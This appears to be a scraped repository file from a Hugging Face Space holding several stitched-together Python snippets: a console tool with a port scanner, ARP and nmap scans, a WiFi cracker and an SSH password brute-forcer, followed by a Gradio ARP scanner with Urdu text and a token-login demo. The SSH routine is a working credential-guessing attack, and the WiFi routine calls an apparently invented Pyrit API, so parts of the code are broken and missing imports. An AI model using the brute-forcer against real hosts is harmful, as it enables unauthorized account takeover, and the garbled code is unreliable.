File size: 7,338 Bytes
7d855d9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
33e8bab
2fe07a0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
c90b8b9
 
 
 
 
 
 
d82ae0e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
import socket
import threading
def validate_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        return False

def validate_port(port):
    try:
        port = int(port)
        if port < 1 or port > 65535:
            return False
        return True
    except ValueError:
        return False

def scan_port(ip, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((ip, port))
        if result == 0:
            print(f"Port {port} is open on {ip}")
        sock.close()
    except Exception as e:
        print(f"Error scanning port {port}: {str(e)}")

def scan_ports(ip, start_port, end_port):
    threads = []
    for port in range(start_port, end_port + 1):
        thread = threading.Thread(target=scan_port, args=(ip, port))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

def arp_scan(ip_range):
    arp_request = scapy.ARP(pdst=ip_range)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    clients_list = []
    for element in answered_list:
        client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
        clients_list.append(client_dict)
    return clients_list

def print_result(results):
    print("IP\t\tMAC Address\n-----------------------------------------")
    for client in results:
        print("{0}\t{1}".format(client["ip"], client["mac"]))

def crack_wifi_password(bssid, wordlist_path):
    # Create a new Pyrit project
    project = pyrit.Project()

    # Add the BSSID to the project
    project.add_bssid(bssid)

    # Load the wordlist
    wordlist = pyrit.Wordlist(wordlist_path)

    # Start the cracking process
    project.crack(wordlist)

    # Get the cracked password
    cracked_password = project.get_cracked_password()

    if cracked_password:
        print(f"Cracked password: {cracked_password}")
    else:
        print("Failed to crack password")

def crack_ssh_password(hostname, username, wordlist_path):
    # Load the wordlist
    with open(wordlist_path, "r") as f:
        passwords = f.readlines()

    # Iterate over each password in the wordlist
    for password in passwords:
        password = password.strip()

        # Create an SSH client
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            # Try to connect to the SSH server
            client.connect(hostname, username=username, password=password)

            # If the connection is successful, print the cracked password
            print(f"Cracked password: {password}")

            # Close the SSH client
            client.close()
            break
        except paramiko.AuthenticationException:
            # If authentication fails, continue to the next password
            continue
        except Exception as e:
            # If any other exception occurs, print the error message
            print(f"Error: {str(e)}")
            break

def nmap_scan(ip_range):
    nm = nmap.PortScanner()
    nm.scan(ip_range, arguments='-sP')
    hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
    for host, status in hosts_list:
        print(f"{host}\t{status}")

def ping_sweep(ip_range):
    command = f"ping -c 1 {ip_range}"
    process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
    output, error = process.communicate()
    if error:
        print(f"Error: {error}")
    else:
        print(output.decode())

def main():
    while True:
        ip = input("Enter IP address to scan: ")
        if validate_ip(ip):
            break
        else:
            print("Invalid IP address. Please try again.")

    while True:
        start_port = input("Enter starting port: ")
        if validate_port(start_port):
            start_port = int(start_port)
            break
        else:
            print("Invalid port number. Please enter a number between 1 and 65535.")

    while True:
        end_port = input("Enter ending port: ")
        if validate_port(end_port):
            end_port = int(end_port)
            if end_port >= start_port:
                break
            else:
                print("Ending port must be greater than or equal to starting port.")
        else:
            print("Invalid port number. Please enter a number between 1 and 65535.")

    scan_ports(ip, start_port, end_port)

    ip_range = input("Enter IP range to scan (e.g. 192.168.1.1/24): ")
    results = arp_scan(ip_range)
    print_result(results)

    bssid = input("Enter BSSID to crack WiFi password: ")
    wordlist_path = input("Enter path to wordlist file: ")
    crack_wifi_password(bssid, wordlist_path)

    hostname = input("Enter hostname to crack SSH password: ")
    username = input("Enter username to crack SSH password: ")
    wordlist_path = input("Enter path to wordlist file: ")
    crack_ssh_password(hostname, username, wordlist_path)

    ip_range = input("Enter IP range to perform Nmap scan: ")
    nmap_scan(ip_range)

    ip_range = input("Enter IP range to perform ping sweep: ")
    ping_sweep(ip_range)

if __name__ == "__main__":
    main()
import gradio as gr
import scapy.all as scapy

def get_ip_info(target):
    try:
        arp_req = scapy.ARP(pdst=target)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_req_broadcast = broadcast / arp_req
        answered = scapy.srp(arp_req_broadcast, timeout=3, verbose=False)[0]
        
        result = []
        for sent, received in answered:
            result.append({"IP": received.psrc, "MAC": received.hwsrc})
        
        if not result:
            return "⚠️ کوئی ڈیوائس نہیں ملی۔ براہ کرم درست IP Range دیں۔"
        
        return result
    except Exception as e:
        return f"❌ Error: {e}"

iface = gr.Interface(
    fn=get_ip_info,
    inputs=gr.Textbox(label="Enter IP Range (مثلاً 192.168.1.1/24)"),
    outputs="json",
    title="🔍 Network Scanner using Scapy",
    description="یہ ایپ Scapy کا استعمال کرتے ہوئے IP addresses اور MACs اسکین کرتی ہے۔"
)

if __name__ == "__main__":
    iface.launch()
# طریقہ‑1 (آپ کا موجودہ سِنٹیکس)
import scapy.all as scapy

# یا طریقہ‑2 (زیادہ واضح)
from scapy.all import *
# یا
import scapy
# ---------- app.py ----------
import os
from huggingface_hub import login
import gradio as gr
# (آپ کے باقی imports یہاں ہوں گے)

# ==== HF Token ==== 
HF_TOKEN = os.getenv("HF_TOKEN")
if not HF_TOKEN:
    raise RuntimeError("HF_TOKEN environment variable missing – add it as a Secret in Space or in .env")
login(token=HF_TOKEN)   # 🔑 اب تمام huggingface_hub کالز authorized

# ----- باقی ایپ کا کوڈ (Gradio UI) -----
def dummy(inp):
    return f"آپ نے لکھا: {inp}"

demo = gr.Interface(fn=dummy,
                    inputs=gr.Textbox(lines=2, placeholder="متن لکھیں…"),
                    outputs="text",
                    title="File‑Care Bot – ٹیسٹ")

if __name__ == "__main__":
    demo.launch()